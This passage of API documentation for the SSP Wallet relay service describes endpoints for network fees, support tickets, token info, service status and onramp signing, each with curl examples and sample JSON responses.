        "CHF": 0.9047837,
        "PLN": 3.991397,
        "LKR": 296.5838043,
        "GBP": 0.7937198,
        "INR": 86.8604011,
        "UAH": 41.6645826,
        "VND": 25519.9319762,
        "CLP": 952.3833342,
        "CAD": 1.4204972,
        "AUD": 1.5705497,
        "MMK": 2098.0043015,
        "NOK": 11.1439004,
        "SAR": 3.751313,
        "TRY": 36.3027059,
        "PHP": 58.1003351,
        "CZK": 24.088431,
        "BTC": 1,
        "ETH": 1
    },
    "crypto": {
        "btc": 1,
        "eth": 1
    }
}
</code></pre>

{% endtab %}

{% tab title="404 - Rate unavailable" %}

```javascript
Not Found
```

{% endtab %}
{% endtabs %}


# GET /v1/networkfees

Retrieve network fees

<mark style="color:green;">`GET`</mark> **/v1/networkfees**

**Request**

{% tabs %}
{% tab title="Curl" %}

```url
curl --location 'https://relay.sspwallet.io/v1/networkfees'
```

{% endtab %}
{% endtabs %}

**Response**

<table><thead><tr><th width="207">Parameter</th><th>Description</th></tr></thead><tbody><tr><td>array</td><td>network fee information per network</td></tr></tbody></table>

{% tabs %}
{% tab title="200 - Success" %}

```json
[
    {
        "coin": "btc",
        "economy": 3,
        "normal": 3,
        "fast": 5,
        "recommended": 5
    },
    {
        "coin": "ltc",
        "economy": 9,
        "normal": 11,
        "fast": 12,
        "recommended": 12
    }
]
```

{% endtab %}
{% endtabs %}


# POST /v1/ticket

Create ticket using data specified in the request body

<mark style="color:green;">`POST`</mark> **/v1/ticket**

**Headers**

| Name            | Value                                |
| --------------- | ------------------------------------ |
| Content-Type    | application/json                     |
| X-Challenge     | Mandatory header for creating ticket |
| X-Forwarded-For | Host where the message came from     |

**Body**

<table><thead><tr><th width="203">Parameter</th><th>Description</th></tr></thead><tbody><tr><td>description</td><td>ticket description</td></tr><tr><td>subject</td><td>ticket subject</td></tr><tr><td>type</td><td>ticket type</td></tr><tr><td>email</td><td>email address</td></tr></tbody></table>

```javascript
{
    "description": "sample description",
    "subject": "sample subject",
    "type": "inquiry",
    "email": "sample@email.com",
}
```

**Request**

{% tabs %}
{% tab title="Curl" %}

```url
curl --location 'https://relay.sspwallet.io/v1/ticket' \
--header 'Content-Type: application/json' \
--header 'X-Challenge: sample' \
--header 'X-Forwarded-For: 103.0.113.165' \
--data-raw '{
    "description": "sample description", 
    "subject": "sample subject", 
    "type": "inquiry", 
    "email": "sample@email.com" 
}'
```

{% endtab %}
{% endtabs %}

**Response**

{% tabs %}
{% tab title="200 - Success" %}

```json
{
    "status": "success",
    "data": {
        "info": "Ticket created successfully."
    }
}
```

{% endtab %}

{% tab title="400 - Failed Response" %}

```json
// List of messages:
// No description specified
// No subject specified
// No type specified
// No email specified
// Invalid request
// Description is too long
// Subject is too long
// Email is invalid
// Type is too long
// Ticket already submitted

{
    "status": "error",
    "data": {
        "name": "Error",
        "message": "<message>"
    }
}
```

{% endtab %}
{% endtabs %}


# GET /v1/tokeninfo

Retrieve token info from alchemy

<mark style="color:green;">`GET`</mark> **/v1/tokeninfo/{network}/{address}**

**Request**

{% tabs %}
{% tab title="Curl" %}

```url
curl --location 'https://relay.sspwallet.io/v1/tokeninfo/eth/0x514910771af9ca656af840dff83e8264ecf986ca'
```

{% endtab %}
{% endtabs %}

**Path Params**

| Name    | Value                  |
| ------- | ---------------------- |
| network | Chain being used       |
| address | Token contract address |

**Response**

| Parameter | Description                           |
| --------- | ------------------------------------- |
| name      | token name                            |
| symbol    | token symbol                          |
| decimals  | number of decimal places of the token |
| logo      | logo link provider by alchemy         |

{% tabs %}
{% tab title="200 - Success" %}

```json
{
    "name": "Chainlink",
    "symbol": "LINK",
    "decimals": 18,
    "logo": "https://samplelocation/logo"
}
```

{% endtab %}
{% endtabs %}


# GET /v1/services

Retrieve services status

<mark style="color:green;">`GET`</mark> **/v1/services**

**Request**

{% tabs %}
{% tab title="Curl" %}

```url
curl --location 'https://relay.sspwallet.io/v1/services'
```

{% endtab %}
{% endtabs %}

**Response**

<table><thead><tr><th width="191">Parameter</th><th>Description</th></tr></thead><tbody><tr><td>onramp</td><td>is onramp enabled</td></tr><tr><td>offramp</td><td>is offramp enabled</td></tr><tr><td>swap</td><td>is swap enabled</td></tr></tbody></table>

{% tabs %}
{% tab title="200 - Success" %}

```json
{
    "onramp": true,
    "offramp": true,
    "swap": true
}
```

{% endtab %}
{% endtabs %}


# POST /v1/sign

Retrieve services status

<mark style="color:green;">`POST`</mark> **/v1/sign**

**Headers**

| Name         | Value                             |
| ------------ | --------------------------------- |
| Content-Type | application/x-www-form-urlencoded |

Form Data

```javascript
networkWallets=bitcoin:bc1qa4w830n2c4v0j0usehg38xlr58xltxml3cyphrgz0kp4292yw7aqrsqhcr
```

**Request**

{% tabs %}
{% tab title="Curl" %}

```url
curl --location 'https://relay.sspwallet.io/v1/sign' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--form 'networkWallets="bitcoin:bc1qa4w830n2c4v0j0usehg38xlr58xltxml3cyphrgz0kp4292yw7aqrsqhcr"'
```

{% endtab %}
{% endtabs %}

**Response**

| Parameter | Description                     |
| --------- | ------------------------------- |
| signature | onramper signature using sha256 |

{% tabs %}
{% tab title="200 - Success" %}

```json
{
    "signature":"8c01d648b453fc5397cb93c5e89194f294f4b361c39480127a5077968b0ef352"
}
```

{% endtab %}

{% tab title="400 - Invalid data to sign" %}

```
Bad Request
```

{% endtab %}

{% tab title="400 - Data is too short" %}

```
Bad Request
```

{% endtab %}

{% tab title="400 - Data is too long" %}

```
Bad Request
```

{% endtab %}
{% endtabs %}




---

[Next Page](https://sspwallet.gitbook.io/docs/llms-full.txt/1)

